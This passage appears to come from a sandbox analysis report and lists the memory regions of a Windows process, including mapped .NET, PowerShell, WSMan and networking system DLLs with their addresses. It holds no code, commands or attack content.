"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 1474 start_va = 0x2840000 end_va = 0x293ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 1475 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1476 start_va = 0x2640000 end_va = 0x2640fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002640000" filename = "" Region: id = 1477 start_va = 0x2730000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 1478 start_va = 0x756a0000 end_va = 0x75768fff entry_point = 0x756a0000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 1479 start_va = 0x7fee4ab0000 end_va = 0x7fee544cfff entry_point = 0x7fee4ab0000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 1480 start_va = 0x2a30000 end_va = 0x2a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 1481 start_va = 0x2a40000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 1482 start_va = 0x2650000 end_va = 0x2652fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002650000" filename = "" Region: id = 1483 start_va = 0x26e0000 end_va = 0x26e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026e0000" filename = "" Region: id = 1484 start_va = 0x2700000 end_va = 0x271ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1485 start_va = 0x2b40000 end_va = 0x2c40fff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 1486 start_va = 0x2ca0000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 1487 start_va = 0x2d20000 end_va = 0x1ad1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 1488 start_va = 0x1ad20000 end_va = 0x1b3effff entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 1489 start_va = 0x1b3f0000 end_va = 0x1b46ffff entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 1490 start_va = 0x7fee3bd0000 end_va = 0x7fee4aabfff entry_point = 0x7fee3bd0000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 1491 start_va = 0x7ff00020000 end_va = 0x7ff0002ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00020000" filename = "" Region: id = 1492 start_va = 0x7ff00030000 end_va = 0x7ff0003ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 1493 start_va = 0x7ff00040000 end_va = 0x7ff000dffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 1494 start_va = 0x7ff000e0000 end_va = 0x7ff000effff entry_point = 0x0 region_type = private name = "private_0x000007ff000e0000" filename = "" Region: id = 1495 start_va = 0x7ff000f0000 end_va = 0x7ff0015ffff entry_point = 0x0 region_type = private name = "private_0x000007ff000f0000" filename = "" Region: id = 1496 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1497 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1498 start_va = 0x26f0000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 1499 start_va = 0x1b470000 end_va = 0x1b751fff entry_point = 0x1b470000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1500 start_va = 0x7fee30e0000 end_va = 0x7fee3191fff entry_point = 0x7fee30e0000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 1501 start_va = 0x7fee31a0000 end_va = 0x7fee3bc2fff entry_point = 0x7fee31a0000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 1502 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 1503 start_va = 0x7fffff20000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 1504 start_va = 0x7fee2580000 end_va = 0x7fee30dcfff entry_point = 0x7fee2580000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 1505 start_va = 0x7ff00160000 end_va = 0x7ff0016ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00160000" filename = "" Region: id = 1506 start_va = 0x2720000 end_va = 0x2722fff entry_point = 0x2720000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 1507 start_va = 0x2940000 end_va = 0x29fffff entry_point = 0x2940000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1508 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1509 start_va = 0x27b0000 end_va = 0x27b0fff entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 1510 start_va = 0x2a00000 end_va = 0x2a04fff entry_point = 0x2a00000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 1511 start_va = 0x2c50000 end_va = 0x2c90fff entry_point = 0x2c50000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 1512 start_va = 0x7ff00170000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00170000" filename = "" Region: id = 1523 start_va = 0x2a10000 end_va = 0x2a17fff entry_point = 0x2a10000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 1524 start_va = 0x2a20000 end_va = 0x2a20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a20000" filename = "" Region: id = 1525 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1526 start_va = 0x7fee1f70000 end_va = 0x7fee2054fff entry_point = 0x7fee1f70000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 1527 start_va = 0x7fee20f0000 end_va = 0x7fee2199fff entry_point = 0x7fee20f0000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 1528 start_va = 0x7fee21a0000 end_va = 0x7fee21d1fff entry_point = 0x7fee21a0000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 1529 start_va = 0x7fee21e0000 end_va = 0x7fee2248fff entry_point = 0x7fee21e0000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 1530 start_va = 0x7fee2250000 end_va = 0x7fee257dfff entry_point = 0x7fee2250000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 1531 start_va = 0x1b760000 end_va = 0x1b760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b760000" filename = "" Region: id = 1532 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 1533 start_va = 0x7fee1bf0000 end_va = 0x7fee1c2dfff entry_point = 0x7fee1bf0000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 1534 start_va = 0x7fee1c30000 end_va = 0x7fee1d47fff entry_point = 0x7fee1c30000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 1535 start_va = 0x7fee1d50000 end_va = 0x7fee1f65fff entry_point = 0x7fee1d50000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 1536 start_va = 0x1b760000 end_va = 0x1b7b3fff entry_point = 0x1b760000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 1537 start_va = 0x7fee1030000 end_va = 0x7fee11c4fff entry_point = 0x7fee1030000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 1538 start_va = 0x7fee11d0000 end_va = 0x7fee133bfff entry_point = 0x7fee11d0000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 1539 start_va = 0x7fee1340000 end_va = 0x7fee19e4fff entry_point = 0x7fee1340000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 1540 start_va = 0x7fee6a30000 end_va = 0x7fee6a36fff entry_point = 0x7fee6a30000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 1541 start_va = 0x1b7c0000 end_va = 0x1b7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b7c0000" filename = "" Region: id = 1542 start_va = 0x1b7e0000 end_va = 0x1b7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b7e0000" filename = "" Region: id = 1543 start_va = 0x7fee0ea0000 end_va = 0x7fee1023fff entry_point = 0x7fee0ea0000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 1544 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 1545 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 1546 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 1547 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 1548 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 1549 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 1550 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 1551 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1552 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 1553 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 1554 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 1555 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1556 start_va = 0x1b7f0000 end_va = 0x1b8effff entry_point = 0x0 region_type = private name = "private_0x000000001b7f0000" filename = "" Region: id = 1557 start_va = 0x1b8f0000 end_va = 0x1bbeefff entry_point = 0x1b8f0000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1558 start_va = 0x1bbf0000 end_va = 0x1bbf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bbf0000" filename = "" Region: id = 1559 start_va = 0x7fee0650000 end_va = 0x7fee0e9afff entry_point = 0x7fee0650000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 1560 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1561 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1562 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1563 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1564 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 1565 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 1566 start_va = 0x1bc00000 end_va = 0x1bc0ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc00000" filename = "" Region: id = 1567 start_va = 0x1bc10000 end_va = 0x1bc1ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc10000" filename = "" Region: id = 1568 start_va = 0x1bc20000 end_va = 0x1bc2ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc20000" filename = "" Region: id = 1569 start_va = 0x1bc30000 end_va = 0x1bc3ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc30000" filename = "" Region: id = 1570 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 1571 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 1572 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 1573 start_va = 0x1bc40000 end_va = 0x1bc50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bc40000" filename = "" Region: id = 1574 start_va = 0x1bc60000 end_va = 0x1bc6ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc60000" filename = "" Region: id = 1575 start_va = 0x1bd40000 end_va = 0x1c6cffff entry_point = 0x0 region_type = private name = "private_0x000000001bd40000" filename = "" Region: id = 1576 start_va = 0x1c6d0000 end_va = 0x1c8cffff entry_point = 0x0 region_type = private name = "private_0x000000001c6d0000" filename = "" Region: id = 1577 start_va = 0x7fee02c0000 end_va = 0x7fee0402fff entry_point = 0x7fee02c0000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 1578 start_va = 0x7fee0410000 end_va = 0x7fee0646fff entry_point = 0x7fee0410000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\system.drawing.ni.dll") Region: id = 1579 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 1580 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 1581 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1582 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1583 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1584 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1585 start_va = 0x1bc70000 end_va = 0x1bd0ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc70000" filename = "" Region: id = 1586 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1587 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1588 start_va = 0x1bc70000 end_va = 0x1bc8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bc70000" filename = "" Region: id = 1589 start_va = 0x1bc90000 end_va = 0x1bd0ffff entry_point = 0x0 region_type = private name = "private_0x000000001bc90000" filename = "" Region: id = 1590 start_va = 0x1c910000 end_va = 0x1c98ffff entry_point = 0x0 region_type = private name = "private_0x000000001c910000" filename = "" Region: id = 1591 start_va = 0x1cb70000 end_va = 0x1cbeffff entry_point = 0x0 region_type = private name = "private_0x000000001cb70000" filename = "" Region: id = 1592 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1593 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1594 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Region: id = 1595 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 1596 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1597 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1598 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1599 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1600 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1601 start_va = 0x1cc20000 end_va = 0x1cc9ffff entry_point = 0x0 region_type = private name = "private_0x000000001cc20000" filename = "" Region: id = 1602 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1603 start_va = 0x7fffff08000 end_va = 0x7fffff09fff entry_point = 0x0 region_type = private name = "private_0x000007fffff08000" filename = "" Region: id = 1604 start_va = 0x1c990000 end_va = 0x1cabffff entry_point = 0x0 region_type = private name = "private_0x000000001c990000" filename = "" Region: id = 1605 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1638 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1639 start_va = 0x1cca0000 end_va = 0x1cdbffff entry_point = 0x0 region_type = private name = "private_0x000000001cca0000" filename = "" Region: id = 1640 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 1641 start_va = 0x753a0000 end_va = 0x753a2fff entry_point = 0x753a0000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1642 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file 